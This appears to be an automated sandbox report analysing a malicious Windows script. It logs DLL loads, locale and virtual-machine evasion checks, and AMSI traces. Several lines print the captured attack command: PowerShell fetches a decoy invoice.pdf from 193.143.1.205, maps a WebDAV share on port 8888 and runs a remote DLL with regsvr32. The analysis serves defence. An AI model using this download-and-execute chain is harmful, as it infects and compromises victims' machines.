Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3226.js.csv");ITextStream.WriteLine(" entry:6751 f:amsdn");ITextStream.WriteLine(" exec:2 f:amsdn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4609			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5210			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep count: 4609 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep count: 5210 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8056	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8076	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7984	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8088	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7404	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2156	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000003.1425226619.000001D026B40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000000.00000003.1425226619.000001D026B40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: net.exe, 00000007.00000002.1482355592.000001C863A08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1480081386.000001C863A67000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2728202073.0000019A34458000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2727175733.0000019A2EE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

